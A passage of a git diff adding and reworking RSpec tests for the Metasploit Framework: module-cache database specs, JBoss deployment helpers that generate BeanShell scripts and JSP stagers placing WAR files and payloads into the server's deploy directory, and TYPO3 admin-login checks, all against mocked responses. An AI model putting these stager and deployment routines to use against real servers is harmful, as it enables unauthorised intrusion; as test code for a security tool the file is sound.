existing_module_details.first - end - - context 'with Mdm::Module::Detail#fullname' do - let(:name) do - target_module_detail.fullname - end - - it 'should match Mdm::Module::Detail#fullname' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.fullname == target_module_detail.fullname - }.should be_true - end - end - - context 'with Mdm::Module::Detail#name' do - let(:name) do - # use inspect so spaces are inside quotes - target_module_detail.name.inspect - end - - it 'should match Mdm::Module::Detail#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.name == target_module_detail.name - }.should be_true - end - end - end - - it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword', :os - - it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :osvdb - - it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword', :platform - - context 'with ref keyword' do - let(:ref) do - FactoryGirl.generate :mdm_module_ref_name - end - - let(:search_string) do - # use inspect to quote spaces in string - "ref:#{ref.inspect}" - end - - let!(:module_ref) do - FactoryGirl.create(:mdm_module_ref) - end - - context 'with Mdm::Module::Ref#name' do - let(:ref) do - module_ref.name - end - - it 'should match Mdm::Module::Ref#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.refs.any? { |module_ref| - module_ref.name == ref - } - }.should be_true - end - end - - context 'without Mdm::Module::Ref#name' do - it 'should not match Mdm::Module::Ref#name' do - module_details.count.should == 0 - end - end - end - - context 'with type keyword' do - let(:type) do - FactoryGirl.generate :mdm_module_detail_mtype - end - - let(:search_string) do - "type:#{type}" - end - - let(:target_module_detail) do - all_module_details.first - end - - let!(:all_module_details) do - FactoryGirl.create_list(:mdm_module_detail, 2) - end - - context 'with Mdm::Module::Ref#name' do - let(:type) do - target_module_detail.mtype - end - - it 'should match Mdm::Module::Detail#mtype' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.mtype == type - }.should be_true - end - end - - context 'without Mdm::Module::Detail#mtype' do - it 'should not match Mdm::Module::Detail#mtype' do - module_details.count.should == 0 - end - end - end - - context 'without keyword' do - context 'with Mdm::Module::Action#name' do - let(:search_string) do - module_action.name - end - - let!(:module_action) do - FactoryGirl.create(:mdm_module_action) - end - - it 'should match Mdm::Module::Action#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.actions.any? { |module_action| - module_action.name == search_string - } - }.should be_true - end - end - - context 'with Mdm::Module::Arch#name' do - let(:search_string) do - module_arch.name - end - - let!(:module_arch) do - FactoryGirl.create(:mdm_module_arch) - end - - it 'should match Mdm::Module::Arch#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.archs.any? { |module_arch| - module_arch.name == search_string - } - }.should be_true - end - end - - context 'with Mdm::Module::Author#name' do - let(:search_string) do - module_author.name - end - - let!(:module_author) do - FactoryGirl.create(:mdm_module_author) - end - - it 'should match Mdm::Module::Author#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.authors.any? { |module_author| - module_author.name == search_string - } - }.should be_true - end - end - - context 'with Mdm::Module::Detail' do - let(:target_module_detail) do - all_module_details.first - end - - let!(:all_module_details) do - FactoryGirl.create_list(:mdm_module_detail, 3) - end - - context 'with #description' do - let(:search_string) do - # use inspect to quote spaces in string - target_module_detail.description.inspect - end - - it 'should match Mdm::Module::Detail#description' do - module_details.count.should == 1 - - module_details.all? { |module_detail| - module_detail.description == target_module_detail.description - }.should be_true - end - end - - context 'with #fullname' do - let(:search_string) do - target_module_detail.fullname - end - - it 'should match Mdm::Module::Detail#fullname' do - module_details.count.should == 1 - - module_details.all? { |module_detail| - module_detail.fullname == search_string - }.should be_true - end - end - - context 'with #name' do - let(:search_string) do - # use inspect to quote spaces in string - target_module_detail.name.inspect - end - - it 'should match Mdm::Module::Detail#name' do - module_details.count.should == 1 - - module_details.all? { |module_detail| - module_detail.name == target_module_detail.name - }.should be_true - end - end - end - - context 'with Mdm::Module::Platform#name' do - let(:search_string) do - module_platform.name - end - - let!(:module_platform) do - FactoryGirl.create(:mdm_module_platform) - end - - it 'should match Mdm::Module::Platform#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.platforms.any? { |module_platform| - module_platform.name == search_string - } - }.should be_true - end - end - - context 'with Mdm::Module::Ref#name' do - let(:search_string) do - module_ref.name - end - - let!(:module_ref) do - FactoryGirl.create(:mdm_module_ref) - end - - it 'should match Mdm::Module::Ref#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.refs.any? { |module_ref| - module_ref.name == search_string - } - }.should be_true - end - end - - context 'with Mdm::Module::Target#name' do - let(:search_string) do - module_target.name - end - - let!(:module_target) do - FactoryGirl.create(:mdm_module_target) - end - - it 'should match Mdm::Module::Target#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.targets.any? { |module_target| - module_target.name == search_string - } - }.should be_true - end - end - end - end - - context '#update_all_module_details' do - def update_all_module_details - db_manager.update_all_module_details - end - - let(:migrated) do - false - end - - before(:each) do - db_manager.stub(:migrated => migrated) - end - - context 'with migrated' do - let(:migrated) do - true - end - - let(:modules_caching) do - true - end - - before(:each) do - db_manager.stub(:modules_caching => modules_caching) - end - - context 'with modules_caching' do - it 'should not update module details' do - db_manager.should_not_receive(:update_module_details) - - update_all_module_details - end - end - - context 'without modules_caching' do - let(:modules_caching) do - false - end - - it 'should create a connection' do - ActiveRecord::Base.connection_pool.should_receive(:with_connection).twice.and_call_original - - update_all_module_details - end - - it 'should set framework.cache_thread to current thread and then nil around connection' do - framework.should_receive(:cache_thread=).with(Thread.current).ordered - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered - framework.should_receive(:cache_thread=).with(nil).ordered - - update_all_module_details - - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original - end - - it 'should set modules_cached to false and then true around connection' do - db_manager.should_receive(:modules_cached=).with(false).ordered - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered - db_manager.should_receive(:modules_cached=).with(true).ordered - - update_all_module_details - - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original - end - - it 'should set modules_caching to true and then false around connection' do - db_manager.should_receive(:modules_caching=).with(true).ordered - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered - db_manager.should_receive(:modules_caching=).with(false).ordered - - update_all_module_details - - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original - end - - context 'with Mdm::Module::Details' do - let(:module_pathname) do - parent_pathname.join( - 'exploits', - "#{reference_name}.rb" - ) - end - - let(:modification_time) do - module_pathname.mtime - end - - let(:parent_pathname) do - Metasploit::Framework.root.join('modules') - end - - let(:reference_name) do - 'windows/smb/ms08_067_netapi' - end - - let(:type) do - 'exploit' - end - - let!(:module_detail) do - # needs to reference a real module so that it can be loaded - FactoryGirl.create( - :mdm_module_detail, - :file => module_pathname.to_path, - :mtime => modification_time, - :mtype => type, - :ready => ready, - :refname => reference_name - ) - end - - context '#ready' do - context 'false' do - let(:ready) do - false - end - - it_should_behave_like 'Msf::DBManager#update_all_module_details refresh' - end - - context 'true' do - let(:ready) do - true - end - - context 'with existing Mdm::Module::Detail#file' do - context 'with same Mdm::Module::Detail#mtime and File.mtime' do - it 'should not update module details' do - db_manager.should_not_receive(:update_module_details) - - update_all_module_details - end - end - - context 'without same Mdm::Module::Detail#mtime and File.mtime' do - let(:modification_time) do - # +1 as rand can return 0 and the time must be different for - # this context. - super() - (rand(1.day) + 1) - end - - it_should_behave_like 'Msf::DBManager#update_all_module_details refresh' - end - end - - # Emulates a module being removed or renamed - context 'without existing Mdm::Module::Detail#file' do - # have to compute modification manually since the - # `module_pathname` refers to a non-existent file and - # `module_pathname.mtime` would error. - let(:modification_time) do - Time.now.utc - 1.day - end - - let(:module_pathname) do - parent_pathname.join('exploits', 'deleted.rb') - end - - it 'should not update module details' do - db_manager.should_not_receive(:update_module_details) - - update_all_module_details - end - end - end - end - end - end - end - - context 'without migrated' do - it 'should not update module details' do - db_manager.should_not_receive(:update_module_details) - - update_all_module_details - end - end - end - - context '#update_module_details' do - def update_module_details - db_manager.update_module_details(module_instance) - end - - let(:loader) do - loader = framework.modules.send(:loaders).find { |loader| - loader.loadable?(parent_path) - } - - # Override load_error so that rspec will print it instead of going to framework log - def loader.load_error(module_path, error) - raise error - end - - loader - end - - let(:migrated) do - false - end - - let(:module_instance) do - # make sure the module is loaded into the module_set - loaded = loader.load_module(parent_path, module_type, module_reference_name) - - unless loaded - module_path = loader.module_path(parent_path, type, module_reference_name) - - fail "#{description} failed to load: #{module_path}" - end - - module_set.create(module_reference_name) - end - - let(:module_set) do - framework.modules.module_set(module_type) - end - - let(:module_type) do - 'exploit' - end - - let(:module_reference_name) do - 'windows/smb/ms08_067_netapi' - end - - let(:parent_path) do - parent_pathname.to_path - end - - let(:parent_pathname) do - Metasploit::Framework.root.join('modules') - end - - let(:type_directory) do - 'exploits' - end - - before(:each) do - db_manager.stub(:migrated => migrated) - end - - context 'with migrated' do - let(:migrated) do - true - end - - it 'should create connection' do - ActiveRecord::Base.connection_pool.should_receive(:with_connection) - ActiveRecord::Base.connection_pool.should_receive(:with_connection).and_call_original - - update_module_details - end - - it 'should call module_to_details_hash to get Mdm::Module::Detail attributes and association attributes' do - db_manager.should_receive(:module_to_details_hash).and_call_original - - update_module_details - end - - it 'should create an Mdm::Module::Detail' do - expect { - update_module_details - }.to change(Mdm::Module::Detail, :count).by(1) - end - - - context 'module_to_details_hash' do - let(:module_to_details_hash) do - { - :mtype => module_type, - :privileged => privileged, - :rank => rank, - :refname => module_reference_name, - :stance => stance - } - end - - let(:privileged) do - FactoryGirl.generate :mdm_module_detail_privileged - end - - let(:rank) do - FactoryGirl.generate :mdm_module_detail_rank - end - - let(:stance) do - FactoryGirl.generate :mdm_module_detail_stance - end - - before(:each) do - db_manager.stub( - :module_to_details_hash - ).with( - module_instance - ).and_return( - module_to_details_hash - ) - end - - context 'Mdm::Module::Detail' do - subject(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:mtype) { should == module_type } - its(:privileged) { should == privileged } - its(:rank) { should == rank } - its(:ready) { should == true } - its(:refname) { should == module_reference_name } - its(:stance) { should == stance } - end - - context 'with :bits' do - let(:bits) do - [] - end - - before(:each) do - module_to_details_hash[:bits] = bits - end - - context 'with :action' do - let(:name) do - FactoryGirl.generate :mdm_module_action_name - end - - let(:bits) do - super() << [ - :action, - { - :name => name - } - ] - end - - it 'should create an Mdm::Module::Action' do - expect { - update_module_details - }.to change(Mdm::Module::Action, :count).by(1) - end - - context 'Mdm::Module::Action' do - subject(:module_action) do - module_detail.actions.last - end - - let(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:name) { should == name } - end - end - - context 'with :arch' do - let(:name) do - FactoryGirl.generate :mdm_module_arch_name - end - - let(:bits) do - super() << [ - :arch, - { - :name => name - } - ] - end - - it 'should create an Mdm::Module::Arch' do - expect { - update_module_details - }.to change(Mdm::Module::Arch, :count).by(1) - end - - context 'Mdm::Module::Arch' do - subject(:module_arch) do - module_detail.archs.last - end - - let(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:name) { should == name } - end - end - - context 'with :author' do - let(:email) do - FactoryGirl.generate :mdm_module_author_email - end - - let(:name) do - FactoryGirl.generate :mdm_module_author_name - end - - let(:bits) do - super() << [ - :author, - { - :email => email, - :name => name - } - ] - end - - it 'should create an Mdm::Module::Author' do - expect { - update_module_details - }.to change(Mdm::Module::Author, :count).by(1) - end - - context 'Mdm::Module::Author' do - subject(:module_author) do - module_detail.authors.last - end - - let(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:name) { should == name } - its(:email) { should == email } - end - end - - context 'with :platform' do - let(:bits) do - super() << [ - :platform, - { - :name => name - } - ] - end - - let(:name) do - FactoryGirl.generate :mdm_module_platform_name - end - - it 'should create an Mdm::Module::Platform' do - expect { - update_module_details - }.to change(Mdm::Module::Platform, :count).by(1) - end - - context 'Mdm::Module::Platform' do - subject(:module_platform) do - module_detail.platforms.last - end - - let(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:name) { should == name } - end - end - - context 'with :ref' do - let(:bits) do - super() << [ - :ref, - { - :name => name - } - ] - end - - let(:name) do - FactoryGirl.generate :mdm_module_ref_name - end - - it 'should create an Mdm::Module::Ref' do - expect { - update_module_details - }.to change(Mdm::Module::Ref, :count).by(1) - end - - context 'Mdm::Module::Ref' do - subject(:module_ref) do - module_detail.refs.last - end - - let(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:name) { should == name } - end - end - - context 'with :target' do - let(:bits) do - super() << [ - :target, - { - :index => index, - :name => name - } - ] - end - - let(:index) do - FactoryGirl.generate :mdm_module_target_index - end - - let(:name) do - FactoryGirl.generate :mdm_module_target_name - end - - it 'should create an Mdm::Module::Target' do - expect { - update_module_details - }.to change(Mdm::Module::Target, :count).by(1) - end - - context 'Mdm::Module::Target' do - subject(:module_target) do - module_detail.targets.last - end - - let(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:index) { should == index } - its(:name) { should == name } - end - end - end - end - - it_should_behave_like 'Msf::DBManager#update_module_details with module', - :reference_name => 'admin/2wire/xslt_password_reset', - :type => 'auxiliary' - - it_should_behave_like 'Msf::DBManager#update_module_details with module', - :reference_name => 'generic/none', - :type => 'encoder' - - it_should_behave_like 'Msf::DBManager#update_module_details with module', - :reference_name => 'windows/smb/ms08_067_netapi', - :type => 'exploit' - - it_should_behave_like 'Msf::DBManager#update_module_details with module', - :reference_name => 'x64/simple', - :type => 'nop' - - # @todo determine how to load a single payload to test payload type outside of msfconsole - - it_should_behave_like 'Msf::DBManager#update_module_details with module', - :reference_name => 'windows/escalate/screen_unlock', - :type => 'post' - end - - context 'without migrated' do - it 'should not create an Mdm::Module::Detail' do - expect { - update_module_details - }.to_not change(Mdm::Module::Detail, :count) - end - end - end + it_should_behave_like 'Msf::DBManager::ModuleCache' + it_should_behave_like 'Msf::DBManager::Note' + it_should_behave_like 'Msf::DBManager::Ref' + it_should_behave_like 'Msf::DBManager::Report' + it_should_behave_like 'Msf::DBManager::Route' + it_should_behave_like 'Msf::DBManager::Service' + it_should_behave_like 'Msf::DBManager::Session' + it_should_behave_like 'Msf::DBManager::SessionEvent' + it_should_behave_like 'Msf::DBManager::Task' + it_should_behave_like 'Msf::DBManager::Vuln' + it_should_behave_like 'Msf::DBManager::VulnAttempt' + it_should_behave_like 'Msf::DBManager::VulnDetail' + it_should_behave_like 'Msf::DBManager::WMAP' + it_should_behave_like 'Msf::DBManager::Web' + it_should_behave_like 'Msf::DBManager::Workspace' + + it { is_expected.to respond_to :check } + it { is_expected.to respond_to :error } + it { is_expected.to respond_to :initialize_database_support } + it { is_expected.to respond_to :service_name_map } + it { is_expected.to respond_to :warn_about_rubies } end diff --git a/spec/lib/msf/host_state_spec.rb b/spec/lib/msf/host_state_spec.rb new file mode 100644 index 0000000000..8c5ce13714 --- /dev/null +++ b/spec/lib/msf/host_state_spec.rb @@ -0,0 +1,27 @@ +RSpec.describe Msf::HostState do + context 'CONSTANTS' do + context 'Alive' do + subject(:alive) { + described_class::Alive + } + + it { is_expected.to eq('alive') } + end + + context 'Dead' do + subject(:dead) { + described_class::Dead + } + + it { is_expected.to eq('down') } + end + + context 'Unknown' do + subject(:unknown) { + described_class::Unknown + } + + it { is_expected.to eq('unknown') } + end + end +end \ No newline at end of file diff --git a/spec/lib/msf/http/jboss/base_spec.rb b/spec/lib/msf/http/jboss/base_spec.rb new file mode 100644 index 0000000000..9e22a7aaca --- /dev/null +++ b/spec/lib/msf/http/jboss/base_spec.rb @@ -0,0 +1,129 @@ +#-*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/http/jboss' + +describe Msf::HTTP::JBoss::Base do + subject do + mod = ::Msf::Exploit.new + mod.extend Msf::HTTP::JBoss + mod.send(:initialize) + mod + end + + describe "#deploy" do + before :each do + allow(subject).to receive(:send_request_cgi) do + if res_code.nil? + res = nil + else + res = Rex::Proto::Http::Response.new + res.code = res_code + end + + res + end + end + + let (:opts) do + { + 'uri' => '/jmx-console' + } + end + + it 'returns nil unless uri is provided' do + expect(subject.deploy).to be_nil + end + + context 'when server timeouts' do + let(:res_code) { nil } + it { expect(subject.deploy(opts, 1)).to be_nil } + end + + context 'when server returns 200' do + let(:res_code) { 200 } + it { expect(subject.deploy(opts)).to be_kind_of Rex::Proto::Http::Response } + end + + context 'when server returns 404' do + let(:res_code) { 404 } + it { expect(subject.deploy(opts, 1)).to be_kind_of Rex::Proto::Http::Response } + end + end + + describe "#http_verb" do + it "returns POST by default" do + expect(subject.http_verb).to eq("POST") + end + end + + describe "#query_serverinfo" do + before :each do + allow(subject).to receive(:send_request_cgi) do + if res_code.nil? + res = nil + else + res = Rex::Proto::Http::Response.new + res.code = res_code + end + + res + end + end + + context 'when server timeouts' do + let(:res_code) { nil } + it { expect(subject.query_serverinfo()).to be_nil } + end + + context 'when server returns 200' do + let(:res_code) { 200 } + it { expect(subject.query_serverinfo()).to be_kind_of Rex::Proto::Http::Response } + end + end + + describe "#detect_plateform" do + context "when server arch is Linux" do + res = Rex::Proto::Http::Response.new + res.body = "<td>OSName: Linux</td>" + it { expect(subject.detect_platform(res)).to eq "linux" } + end + + context "when server arch is Windows" do + res = Rex::Proto::Http::Response.new + res.body = "<td>OSName: Windows</td>" + it { expect(subject.detect_platform(res)).to eq "win" } + end + + context "return nil if no OS match" do + res = Rex::Proto::Http::Response.new + res.body = "<td>OSName: Blah</td>" + it { expect(subject.detect_platform(res)).to be_nil } + end + + context "return nil res is nil" do + res = nil + it { expect(subject.detect_platform(res)).to be_nil } + end + end + + describe "#detect_architecture" do + context "when server arch is x86" do + res = Rex::Proto::Http::Response.new + res.body = "<td>OSArch: i386</td>" + it { expect(subject.detect_architecture(res)).to eq ARCH_X86 } + end + + context "return nil if no architecture match" do + res = Rex::Proto::Http::Response.new + res.body = "<td>OSArch: Blah</td>" + it { expect(subject.detect_architecture(res)).to be_nil } + end + + context "return nil res is nil" do + res = nil + it { expect(subject.detect_architecture(res)).to be_nil } + end + end +end diff --git a/spec/lib/msf/http/jboss/bean_shell_scripts_spec.rb b/spec/lib/msf/http/jboss/bean_shell_scripts_spec.rb new file mode 100644 index 0000000000..0d136b1913 --- /dev/null +++ b/spec/lib/msf/http/jboss/bean_shell_scripts_spec.rb @@ -0,0 +1,77 @@ +#-*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/http/jboss' + +describe Msf::HTTP::JBoss::BeanShellScripts do + subject do + mod = ::Msf::Exploit.new + mod.extend Msf::HTTP::JBoss + mod.send(:initialize) + mod + end + + describe "#generate_bsh" do + context "when :create type is used" do + it { expect(subject.generate_bsh(:create, {})).to include('String jboss_home = System.getProperty("jboss.server.home.dir");') } + end + + context "when :delete type is used" do + it { expect(subject.generate_bsh(:delete, {})).to include('String jboss_home = System.getProperty("jboss.server.home.dir");') } + end + + context "when invalid type is used" do + it { expect(subject.generate_bsh(:invalid, {})).to be_nil } + end + end + + describe "#stager_jsp" do + it "returns the JSP stager" do + expect(subject.stager_jsp('metasploit')).to include('System.getProperty("jboss.server.home.dir");') + end + + it "uses the provided application name" do + expect(subject.stager_jsp('metasploit')).to include('"/deploy/" + "metasploit.war";') + end + end + + describe "#create_file_bsh" do + it "returns the Bean Shell script" do + expect(subject.create_file_bsh({})).to include('String jboss_home = System.getProperty("jboss.server.home.dir");') + end + + context "when options are provided" do + let(:opts) do + { + :file => 'file', + :dir => 'dir', + :contents => 'contents' + } + end + + it { expect(subject.create_file_bsh(opts)).to include('String location = jboss_home + "/deploy/file";')} + it { expect(subject.create_file_bsh(opts)).to include('"/deploy/dir").mkdir()')} + it { expect(subject.create_file_bsh(opts)).to include('String val = "contents";')} + end + end + + describe "#delete_files_bsh" do + it "returns the Bean Shell script" do + expect(subject.delete_files_bsh({})).to include('String jboss_home = System.getProperty("jboss.server.home.dir");') + end + + context "when filenames are provided" do + let(:opts) do + { + 'one' => '/tmp/one', + 'two' => '/tmp/two' + } + end + + it { expect(subject.delete_files_bsh(opts)).to include('new File(jboss_home + "/deploy//tmp/one").delete();')} + it { expect(subject.delete_files_bsh(opts)).to include('new File(jboss_home + "/deploy//tmp/two").delete();')} + end + end + +end diff --git a/spec/lib/msf/http/jboss/bean_shell_spec.rb b/spec/lib/msf/http/jboss/bean_shell_spec.rb new file mode 100644 index 0000000000..da51447953 --- /dev/null +++ b/spec/lib/msf/http/jboss/bean_shell_spec.rb @@ -0,0 +1,100 @@ +#-*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/http/jboss' + +describe Msf::HTTP::JBoss::BeanShell do + + subject do + mod = ::Msf::Exploit.new + mod.extend Msf::HTTP::JBoss + mod.send(:initialize) + mod + end + + before :each do + allow(subject).to receive(:send_request_cgi) do + case res_code + when nil + res = nil + when 401 + res = Rex::Proto::Http::Response.new(401, "Authentication required") + when 404 + res = Rex::Proto::Http::Response::E404.new + when 200 + res = Rex::Proto::Http::Response::OK.new + else + res = Rex::Proto::Http::Response.new + res.code = res_code + end + + res + end + end + + let (:package) do + 'deployer' + end + + let (:bsh_script) do + 'String jboss_home = System.getProperty("jboss.server.home.dir");' + end + + describe '#deploy_bsh' do + context 'when deploy_package fails' do + let (:res_code) { 404 } + it { expect(subject.deploy_bsh(:bsh_script)).to be_nil } + end + + context 'when deploy_package successes' do + let (:res_code) { 200 } + it { expect(subject.deploy_bsh(:bsh_script)).to be_kind_of(String) } + end + end + + describe '#deploy_package' do + context 'when invoke_bsh_script returns a 200 response' do + let (:res_code) { 200 } + it { expect(subject.deploy_package(:bsh_script, :package)).to be_truthy } + end + + context 'when invoke_bsh_script returns a 404 response' do + let (:res_code) { 404 } + it { expect(subject.deploy_package(:bsh_script, :package)).to be_falsey } + end + + context 'when invoke_bsh_script returns a 401 response' do + let (:res_code) { 401 } + it { expect(subject.deploy_package(:bsh_script, :package)).to be_falsey } + end + + context 'when invoke_bsh_script returns nil' do + let (:res_code) { nil } + it { expect(subject.deploy_package(:bsh_script, :package)).to be_falsey } + end + end + + describe "#invoke_bsh_script" do + context 'when server timeouts' do + let (:res_code) { nil } + it { expect(subject.invoke_bsh_script(:bsh_script, :package)).to be_nil } + end + + context 'when server returns a 200 response' do + let (:res_code) { 200 } + it { expect(subject.invoke_bsh_script(:bsh_script, :package)).to be_kind_of Rex::Proto::Http::Response } + end + + context 'when server returns a 404 response' do + let (:res_code) { 404 } + it { expect(subject.invoke_bsh_script(:bsh_script, :package)).to be_kind_of Rex::Proto::Http::Response } + end + + context 'when server returns a 401 response' do + let (:res_code) { 401 } + it { expect(subject.invoke_bsh_script(:bsh_script, :package)).to be_kind_of Rex::Proto::Http::Response } + end + end + +end diff --git a/spec/lib/msf/http/jboss/deployment_file_repository_scripts_spec.rb b/spec/lib/msf/http/jboss/deployment_file_repository_scripts_spec.rb new file mode 100644 index 0000000000..745e3231ee --- /dev/null +++ b/spec/lib/msf/http/jboss/deployment_file_repository_scripts_spec.rb @@ -0,0 +1,39 @@ +#-*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/http/jboss' + +describe Msf::HTTP::JBoss::DeploymentFileRepositoryScripts do + subject do + mod = ::Msf::Exploit.new + mod.extend Msf::HTTP::JBoss + mod.send(:initialize) + mod + end + + describe "#stager_jsp_with_payload" do + it "returns the JSP stager" do + expect(subject.stager_jsp_with_payload('metasploit', 'payload')).to include('System.getProperty("jboss.server.home.dir");') + end + + it "uses the provided application name" do + expect(subject.stager_jsp_with_payload('metasploit', 'payload')).to include('"/deploy/management/" + "metasploit.war";') + end + + it "uses the provided payload" do + expect(subject.stager_jsp_with_payload('metasploit', 'payload')).to include('"payload";') + end + end + + describe "#head_stager_jsp" do + it "returns the head JSP stager" do + expect(subject.head_stager_jsp('stager_base', 'jsp_name')).to include('System.getProperty("jboss.server.home.dir");') + end + + it "uses the provided base name" do + expect(subject.head_stager_jsp('stager_base', 'jsp_name')).to include('"/deploy/management/" + "stager_base.war/"') + end + end + +end diff --git a/spec/lib/msf/http/jboss/deployment_file_repository_spec.rb b/spec/lib/msf/http/jboss/deployment_file_repository_spec.rb new file mode 100644 index 0000000000..234e5b0f06 --- /dev/null +++ b/spec/lib/msf/http/jboss/deployment_file_repository_spec.rb @@ -0,0 +1,91 @@ +#-*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'msf/http/jboss' + +describe Msf::HTTP::JBoss::DeploymentFileRepository do + + subject do + mod = ::Msf::Exploit.new + mod.extend Msf::HTTP::JBoss + mod.send(:initialize) + mod + end + + let (:base_name) do + 'dir_blah' + end + + let (:jsp_name) do + 'file_blah' + end + + let (:content) do + '<%@page import="java.io.*%>' + end + + before :each do + allow(subject).to receive(:send_request_cgi) do + case res_code + when nil + res = nil + when 401 + res = Rex::Proto::Http::Response.new(401, "Authentication required") + when 404 + res = Rex::Proto::Http::Response::E404.new + when 200 + res = Rex::Proto::Http::Response::OK.new + else + res = Rex::Proto::Http::Response.new + res.code = res_code + end + + res + end + end + + describe "#upload_file" do + context 'when server timeouts' do + let (:res_code) { nil } + it { expect(subject.upload_file(base_name, jsp_name, content)).to be_nil } + end + + context 'when server returns a 200 response' do + let (:res_code) { 200 } + it { expect(subject.upload_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response } + end + + context 'when server returns a 404 response' do + let (:res_code) { 404 } + it { expect(subject.upload_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response } + end + + context 'when server returns a 401 response' do + let (:res_code) { 401 } + it { expect(subject.upload_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response } + end + end + + describe "#delete_file" do + context 'when server timeouts' do + let (:res_code) { nil } + it { expect(subject.delete_file(base_name, jsp_name, content)).to be_nil } + end + + context 'when server returns a 200 response' do + let (:res_code) { 200 } + it { expect(subject.delete_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response } + end + + context 'when server returns a 404 response' do + let (:res_code) { 404 } + it { expect(subject.delete_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response } + end + + context 'when server returns a 401 response' do + let (:res_code) { 401 } + it { expect(subject.delete_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response } + end + end +end diff --git a/spec/lib/msf/http/typo3_spec.rb b/spec/lib/msf/http/typo3_spec.rb new file mode 100644 index 0000000000..329302b4f4 --- /dev/null +++ b/spec/lib/msf/http/typo3_spec.rb @@ -0,0 +1,139 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'msf/core' +require 'rex/proto/http/response' +require 'msf/http/typo3' + +describe Msf::HTTP::Typo3 do + subject do + mod = ::Msf::Module.new + mod.extend described_class + mod + end + + let(:invalid_user) do + "invalid" + end + + let(:invalid_password) do + "invalid" + end + + let(:valid_user) do + "admin" + end + + let(:valid_password) do + "password" + end + + let(:valid_cookie) do + "be_typo_user=e31843639e5e17b9600602f9378b6ff0" + end + + describe '#target_uri' do + it 'returns an URI' do + expect(subject.target_uri).to be_kind_of URI + end + end + + describe '#typo3_url_login' do + it 'ends with /typo3/index.php' do + expect(subject.typo3_url_login).to end_with('/typo3/index.php') + end + end + + describe '#typo3_url_backend' do + it 'ends with /typo3/backend.php' do + expect(subject.typo3_url_backend).to end_with('/typo3/backend.php') + end + end + + describe '#typo3_admin_cookie_valid?' do + it 'returns true when valid admin cookie' do + allow(subject).to receive(:send_request_cgi) do + res = Rex::Proto::Http::Response.new + res.body = '<body class="test" id="typo3-backend-php">' + res + end + + expect(subject.typo3_admin_cookie_valid?("#{valid_cookie};")).to eq(true) + end + + it 'returns false when invalid admin cookie' do + allow(subject).to receive(:send_request_cgi) do + res = Rex::Proto::Http::Response.new + res + end + + expect(subject.typo3_admin_cookie_valid?("invalid")).to eq(false) + end + end + + describe '#typo3_backend_login' do + + it 'returns nil login page can not be reached' do + allow(subject).to receive(:send_request_cgi) do + res = Rex::Proto::Http::Response::E404.new + res + end + + expect(subject.typo3_backend_login(valid_user, valid_password)).to be_nil + end + + it 'returns nil when login page can be reached but isn\'t a TYPO3' do + allow(subject).to receive(:send_request_cgi) do + res = Rex::Proto::Http::Response.new + res.body = 'Hello World' + res + end + + expect(subject.typo3_backend_login(valid_user, valid_password)).to be_nil + end + + it 'returns nil when TYPO3 credentials are invalid' do + + allow(subject).to receive(:send_request_cgi) do |opts| + if opts['uri'] == "/typo3/index.php" && opts['method'] == 'GET' + res = Rex::Proto::Http::Response.new + res.body = '<input type="hidden" id="rsa_e" name="e" value="10001" />' + res.body << '<input type="hidden" id="rsa_n" name="n" value="B8C58D75B5F9DBCEBBF6FB96BDB9531C64C45DDED56D93B310FA9C79B9787E62C91157DD5842B2BC1D90C10251300571BEEF892776F25EAC80C2672A993B00DA2F1C966C3F70418274E1AC9C432F48F8CBD9D083F990905F7EC5BDFC1B5C93672E7ACBB3D935D0597864A1F732DD44B5C6E02344917543E33A36D68915B26DC9" />' + elsif opts['uri'] == "/typo3/index.php" && opts['method'] == 'POST' + res = Rex::Proto::Http::Response.new + res.body = '<!-- ###LOGIN_ERROR### begin -->Login Failed<!-- ###LOGIN_ERROR### end -->' + else + res = Rex::Proto::Http::Response::E404.new + end + + res + end + + expect(subject.typo3_backend_login(invalid_user, invalid_password)).to be_nil + end + + it 'returns a cookie string when TYPO3 credentials are valid' do + allow(subject).to receive(:send_request_cgi) do |opts| + if opts['uri'] == "/typo3/index.php" && opts['method'] == 